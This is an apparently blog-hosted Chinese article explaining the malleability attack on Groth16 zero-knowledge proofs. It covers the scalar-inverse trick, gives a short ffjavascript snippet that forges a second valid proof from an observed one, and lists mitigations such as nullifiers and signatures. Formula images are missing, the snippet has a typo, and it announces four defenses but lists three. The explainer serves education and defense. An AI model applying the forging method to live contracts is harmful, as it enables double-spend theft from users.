ZKP系列之Groth16证明延展性攻击原理及实现

并不是所有的证明系统都存在延展性攻击风险,实际上这个问题目前主要存在于 Groth16 证明系统中。那么问题来了,目前已经有那么多的证明系统,为什么还要坚持使用 Groth16 呢?其实也没得选择,Groth16 生成的证明体积实在是小到极致,验证也极其之快,在计算代价十分昂贵的区块链上,使用 Groth16 似乎是最理想的选择。

漏洞简介

ZKP 的延展性攻击,是指给定敌手一个合法证明,敌手在不知道见证的条件下自己生成新的合法证明。

并不是所有的证明系统都存在延展性攻击风险,实际上这个问题目前主要存在于 Groth16 证明系统中。那么问题来了,目前已经有那么多的证明系统,为什么还要坚持使用 Groth16 呢?其实也没得选择,Groth16 生成的证明体积实在是小到极致,验证也极其之快,在计算代价十分昂贵的区块链上,使用 Groth16 似乎是最理想的选择。

延展性风险会带来哪些风险呢?我们可以想象一下如果有这么一个存款系统,它使用用户提交的 ZKP 证明来验证其身份,验证成功则可以提款。由于这个系统的验证过程是公开的,任何人都可以获取到这个证明,如果我们是用证明值本身做为取款登记,如果这个证明被获取到并进行变换,那就可被利用来多次提款。漏洞的利用需要看具体的场景,但我们可以看到延展性首先会带来双花的风险。

数学原理

理解攻击原理我们首先需要从理解算法开始,这需要有一定的密码学基础,感兴趣的同学可以自行寻找 Groth16 算法资料。这里我们直击漏洞根源:验证函数。

我们来看一下这个验证函数公式:

ZKP系列之Groth16证明延展性攻击原理及实现

如果没有对这些字母一一从头介绍,我想很难看懂它在表达什么,但我觉得过多的介绍是不需要了,记好公式左边的 “A 乘 B” 就这么简单,然后我们开始施展数学魔法。咒语如下:

ZKP系列之Groth16证明延展性攻击原理及实现

根据群的结合律,那么上面公式中:

ZKP系列之Groth16证明延展性攻击原理及实现

这只是其中一种比较简单的构造方法,另外还有一种构造方法 [1],这里不做阐述,因为我们已经得到想要的东西了。

工程实现

有了上面的公式,就可以在工程上实现 Groth16 证明的延展。选择一个要伪造证明的对象,获取它的 proof,例如:

{
  pi_a: [
    '17566212007750634279332191898019870443899908963707812937725971557556988121113',
    '13653824972036797689593667463260040326059024360787769597142078414930263663703',
    '1'
  ],
  pi_b: [
    [
      '14906111038352923510344648516413952434168552622848767570599399834157918236589',
      '15289017543994496306320102143103349779456992442925111629326024552687168229256'
    ],
    [
      '18841235948006283310515755114762069779103481848435391875780416574913227842443',
      '6835281862874020275059416795628130939104366467185014410026268177455413514889'
    ],
    [ '1', '0' ]
  ],
  pi_c: [
    '21641806348662631815866837255154640732047306895903168385641666607914783128458',
    '2082587994352117459125871298218148663854896572836176277773049196516560449682',
    '1'
  ],
  protocol: 'groth16',
  curve: 'bn128'
}

我们看这样的一个 proof,pi_a, pi_b, pi_c 就是上面公式里描述的 A, B, C,这个证明使用的是 BN128 曲线,然后我们需要去寻找支持 BN128 曲线开发库。这里我们选择 ffjavascript,它是一个基于 Javascript 的有限域库,支持 BN128, BLS12381 曲线。

首先,我们任意构造一个域上的元素及它的逆元:

const X = F.e("123456");

const invX = F.inv(X);

然后,分别相乘,核心代码如下:

const A = curve.G1.fromObject(proof.pi_a);

const B = curve.G2.fromObect(proof.pi_b);

new_pi_a = curve.G1.timesScalar(A, X); //A'=x*A

new_pi_b = curve.G2.timesScalar(B, invX); //B'=x^{-1}*B

最后,用 new_pi_a, new_pi_b 去替换原 proof,得到新的 proof:

{
  pi_a: [
    '6515337738552169645617263495374285821912767490069335826295120714428977813009',
    '10671874016637483602721966808912960491553808325993800847672325376634242358838',
    '1'
  ],
  pi_b: [
    [
      '20523135654483520737281403147507843211011765855706506084021355785019229409285',
      '4032527486736971273144842057682931136787425732029780739716144011227563817375'
    ],
    [
      '9389285843105460816015935120908213706233585149018458753845466963847282799614',
      '7207137211649923819130654483456848273137049778520784010268635580504303221849'
    ],
    [ '1', '0' ]
  ],
  pi_c: [
    '21641806348662631815866837255154640732047306895903168385641666607914783128458',
    '2082587994352117459125871298218148663854896572836176277773049196516560449682',
    '1'
  ],
  protocol: 'groth16',
  curve: 'bn128'
}

至此,我们已经成功构造出了新的证明,把 proof 放到验证函数中去验证可以发现它能通过验证。

防范

如何防范 Groth16 延展性攻击呢?可以参考这四种方法:

  • 对 proof 进行签名,验证者在验证 proof 同时也验证签名是否正确;
  • 参考 TornadoCash 在电路的公开输入中增加 nullifier 值,nullifier 确保证明对应的公开输入只能被使用一次;
  • 在电路中将证明者的身份信息(如以太坊的 msg.sender)加入到公开输入中,然后验证者就可以对提交证明的人进行身份验证;

总结

Groth16 存在延展性攻击风险,可通过简单的计算伪造出新的证明,实际运用中需要注意防止出现双花攻击。

(声明:请读者严格遵守所在地法律法规,本文不代表任何投资建议)

(0)
上一篇 2023年3月12日 下午12:17
下一篇 2023年3月12日 下午1:38

相关推荐

发表回复

登录后才能评论
微信

联系我们
邮箱:whylweb3@163.com
微信:gaoshuang613